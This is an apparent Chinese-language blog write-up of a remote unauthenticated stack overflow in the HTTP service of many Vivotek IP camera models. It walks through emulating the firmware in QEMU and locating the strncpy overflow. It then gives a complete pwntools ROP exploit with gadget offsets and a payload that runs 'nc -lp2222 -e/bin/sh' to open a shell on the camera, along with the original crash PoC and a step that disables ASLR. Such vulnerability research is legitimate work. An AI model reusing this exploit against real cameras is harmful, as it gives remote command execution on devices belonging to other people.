Vivotek 摄像头远程栈溢出漏洞分析及利用
Vivotek 摄像头远程栈溢出漏洞分析及利用
近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。
漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866
该漏洞在 Vivotek 的摄像头中广泛存在,按照官方的安全公告,会影响以下版本
CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2
Vivotek 官方提供了各种型号摄像头的固件下载:http://www.vivotek.com/firmware/ ,这也为我们的研究带来了很多便利。
我们发现,漏洞被曝出之后,在官网固件下载页面中的大多数固件均早于漏洞曝出时间,我们下载了几款摄像头的最新固件进行验证,发现漏洞依然存在,这意味着截止漏洞被曝出,Vivotek 官方对该漏洞的修复并不彻底。众所周知,栈溢出是存在潜在的远程命令执行风险的,为了深入了解该漏洞的影响,我们决定研究下该漏洞的原理及利用。
调试环境搭建
固件下载
由于手头上并没有 Vivotek 的摄像头,我们在官网下载其中一款摄像头固件,使用 qemu
模拟运行。(注:官方在陆续发布各个版本的固件更新,可根据固件发布时间判断官方是否已经修复漏洞)
首先下载摄像头固件:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip
通过 binwalk
直接解压出其中的文件系统,和漏洞有关的主要文件如下
根据 file
命令的结果可知目标架构为 ARM
、小端、32位。且该 ELF 文件为动态链接。
修复运行依赖
尝试用 qemu
运行,结果如下
服务没有运行起来,且没有明显的报错,猜想到可能是缺少某些依赖,程序直接退出了,扔到 IDA,从程序退出前的提示:gethostbyname:: Success
,回溯程序异常退出原因。
依次加载IDA 菜单栏 -> View -> Open subviews -> Strings,Command + F
搜索 gethostname
查看交叉引用信息,定位相应代码段
异常退出部分代码如下
为了看的更直观,我们来贴一下 F5
的结果,如下
这部分主要涉及两个函数。gethostname():返回本地主机的标准主机名,如果函数成功,则返回 0。如果发生错误则返回 -1。gethostbyname():用域名或主机名获取IP地址。
Linux 操作系统的 hostname 是一个 kernel 变量,可以通过 hostname 命令来查看本机的 hostname。也可以直接 cat /proc/sys/kernel/hostname
查看。
我们只需要将二者改成一致,httpd 服务即可成功运行。
调试环境
为了方便调试,还需要搭建 qemu 虚拟机环境。
qemu 镜像文件下载:https://people.debian.org/~aurel32/qemu/armel/(下载内核 3.2 的版本)
远程调试 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static
qemu 虚拟机建议采用 桥接
方式和主机连接。
#!/bin/bash
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动虚拟机,进行简单配置等待远程调试。
漏洞研究
定位溢出点
以下为漏洞作者 @bashis 提供的 PoC
echo -en "POST /cgi-bin/admin/upgrade.cgi
HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80
老套路, 根据 Content-Length
很容易定位到溢出点,如下
惊讶到了,strncpy() 函数的长度参数竟然这么用,妥妥的溢出。
调用栈布局
dest
缓冲区起始地址距离栈底 0x38
字节,栈上依次为 LR、R11-R4。Content-Length
长度超过 0x38 - 4 字节就会覆盖函数的返回地址 LR。
exp 研究
strncpy()
函数引起的栈溢出,在利用时就会有很 egg hurt 的 0x00
坏字符问题,如果我们的输入数据中包含 0x00
,将会被截断导致漏洞利用失败。根据溢出点附近的汇编代码来看,0x0a
也会被截断。且开启了 NX
保护,这意味着我们无法在栈上部署 shellcode
。
尝试通过 return2libc
的方式 getshell。由于没有实际的摄像头,我们不知道目标系统是否开启了 ASLR
,如果 ASLR
是开启的且没有其它可用来暴露 libC
动态链接库内存地址的漏洞,那么利用该漏洞将会是一个很难受的过程。
采用以下方式暂时关闭 ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
libC
库的加载地址如下
接下来就需要精心构造数据,劫持函数的执行流程了。有一点需要注意,X86 架构下的所有参数都是通过堆栈传递的,而在 MIPS 和 ARM 架构中,会优先通过寄存器传递参数,如果参数个数超过了寄存器的数量,则将剩下的参数压入调用参数空间(即堆栈)。
从前面的分析来看,只要我们构造 0x38 - 4 字节以上的数据,栈底的函数返回地址就会被我们劫持。system() 函数地址 = libC
库在内存中的加载基址 + system() 函数在 libC
库中的偏移,通过劫持该地址为 libC
库中的 system() 函数地址,再设置 R0
寄存器指向命令字符串,就可以执行任意命令。
经过验证,nc
命令可以正常使用。
接下来我们开始构造 ROP
利用链,大致思路见以下汇编代码。
Github 上有个很赞的项目:https://github.com/JonathanSalwan/ROPgadget
它可以用来搜索 ELF 文件中的 gadgets,方便我们构造 ROP 链。
我们需要将字符串参数 nc -lp2222 -e/bin/sh
部署到栈上,并且将地址存入 R0
。该参数包含 20 个字节,且不含坏字符。
libC
基址为 0xb6f2d000
,由该地址可知 gadget 在内存中的有效地址。发生溢出时栈顶地址为 0xbeffeb50
。
利用 ROPgadget
搜索可用的 gadgets,在选择 gadget 时要还考虑坏字符的问题。比如说如下的 gadget 就不得行。
再搜索一条可用的 gadget,俗称曲线救国。
选择以下两条 gadget,构造 ROP
如下。
# 基于 qemu 模拟环境
# 摄像头型号:Vivotek CC8160
# 0x00048784 : pop {r1, pc}
# 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}
#!/usr/bin/python
from pwn import *
libc_base = 0xb6f2d000 # libC 库在内存中的加载地址
stack_base = 0xbeffeb70 # 崩溃时 SP 寄存器的地址
libc_elf = ELF('libuClibc-0.9.33.3-git.so')
payload = (0x38 - 4) * 'a' # padding
payload += p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 栈中命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a') # padding
payload += p32(libc_elf.symbols['system'] + libc_base) # 内存中 system() 函数地址
payload += ('pwd;' * 0x100 + 'nc\x20-lp2222\x20-e/bin/sh\x20>') # 命令参数
payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n" | nc -v 192.168.2.2 80'.format(payload)
通过调试 ,我们可以获得崩溃时的栈顶地址,为了确保命令能执行,我们在真正要执行的命令前加了部分命令作为缓冲。
可以看到,开启了 NX
保护的栈上虽然不可执行代码,但是依然可以在上面部署数据。我们只需要将要执行的命令部署到栈上,构造 ROP 让 R0 寄存器指向栈上的命令所在区域,然后 return2libC
调用系统函数,就可以执行任意命令了。
已将 PoC 和 EXP 整理成 Pocsuite 脚本:https://www.seebug.org/vuldb/ssvid-96866,验证效果如下。
致谢
第一次接触 ARM
汇编,有很多不足之处,欢迎各大佬指正。中途踩了不少坑,感谢 404 小伙伴 @Hcamael 和 @没有ID 的各种疑难解答。
参考链接
- https://www.seebug.org/vuldb/ssvid-96866
- http://seclists.org/fulldisclosure/2017/Nov/31
- https://paper.seebug.org/271/
- https://paper.seebug.org/272/
- http://0x48.pw/2016/11/03/0x26/
- http://www.freebuf.com/articles/terminal/107276.html
Vivotek 摄像头远程栈溢出漏洞分析及利用的更多相关文章
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- 抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析
PDF 版本下载:抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析 Author:知道创宇404实验室 Date:2017/03/19 一.漏洞背景 GoAhead作为世界上最 ...
- DLink 815路由器栈溢出漏洞分析与复现
DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...
- FakeID签名漏洞分析及利用(二)
本文转自:http://blog.csdn.net/l173864930/article/details/38409521 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公 ...
- ThinkPHP5 核心类 Request 远程代码漏洞分析
ThinkPHP5 核心类 Request 远程代码漏洞分析 先说下xdebug+phpstorm审计环境搭建: php.ini添加如下配置,在phpinfo页面验证是否添加成功. [XDebug] ...
- 向日葵远程RCE漏洞分析及漏洞利用脚本编写
0x00 漏洞概述 向日葵是一款免费的,集远程控制电脑.手机.远程桌面连接.远程开机.远程管理.支持内网穿透等功能的一体化远程控制管理软件.如果想要手机远控电脑,或者电脑远控手机可以利用向日葵:如果是 ...
- SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用
前言 Schneider Electric Modbus Serial Driver 会监听 27700 端口,程序在处理客户端发送的数据时会导致栈溢出. 测试环境: windows xp sp3 相 ...
- CVE-2010-3333-office RTF栈溢出漏洞分析
0x00 前言 此漏洞是根据泉哥的<漏洞战争>来学习分析的,网上已有大量分析文章在此只是做一个独立的分析记录. 0x01 复现环境 操作系统-->windows7 x64 软件版本- ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
随机推荐
- python报错No module named 'pylab'
pip instal matplotlib
- jenkins中使用shell脚本必须切换jenkins用户
https://blog.csdn.net/cdnight/article/details/81078191 安装这篇解决的 正确使用脚本的方式: 1.脚本必须使用jenknins用户,且所有命令必须 ...
- Java集合(5):理解Collection
Collection是List.Set.Queue的共同接口.Collection主要方法有: int size():返回当前集合中元素的数量 boolean add(E e):添加对象到集合 boo ...
- Git(1):思想及概念
Git与其他版本控制软件的差异及思想 直接记录快照,而非差异比较 Git不保存这些前后变化的差异数据.实际上,Git 更像是把变化的文件作快照后,记录在一个微型的文件系统中.每次提交更新时,它会纵览一 ...
- koa2中间件
在我看来,前端框架的中间件的思想来源于传统后端的切面编程(AOP)思想,比如我们常见的身份校验(JWT). axios的拦截器也是基于这种程序设计模式的. 在koa中,实际上是由一个数组对象来保存所有 ...
- vue新增属性是否会响应式更新?
原文地址 在开发过程中,我们时常会遇到这样一种情况:当vue的data里边声明或者已经赋值过的对象或者数组(数组里边的值是对象)时,向对象中添加新的属性,如果更新此属性的值,是不会更新视图的. 根据官 ...
- python基础知识(循环语句)
for循环.while循环.循环嵌套 for 迭代变量 In 对象: 循环体 range(start,end,step) 第一个和第三个可以省略生成一系列的连续整数 start 包括起始值 end ...
- Crunch黑客神器-创造个性字典
先来看第一个命令: crunch 6 7 123456 -o pass.txt 是什么意思呢?我们打开终端,输入这个命令之后,crunch代表使用crunch这个工具,6代表生成的密码最小是6位数,7 ...
- cnpm 安装vue与vue/cli
cnpm 安装 npm install -g cnpm --registry=https://registry.npm.taobao.org 安装 vue npm install -g npm 安装 ...
- 安装neutron
在控制节点上执行 controllerHost='controller' MYSQL_PASSWD='m4r!adbOP' RABBIT_PASSWD='0penstackRMQ' NOVA_PASS ...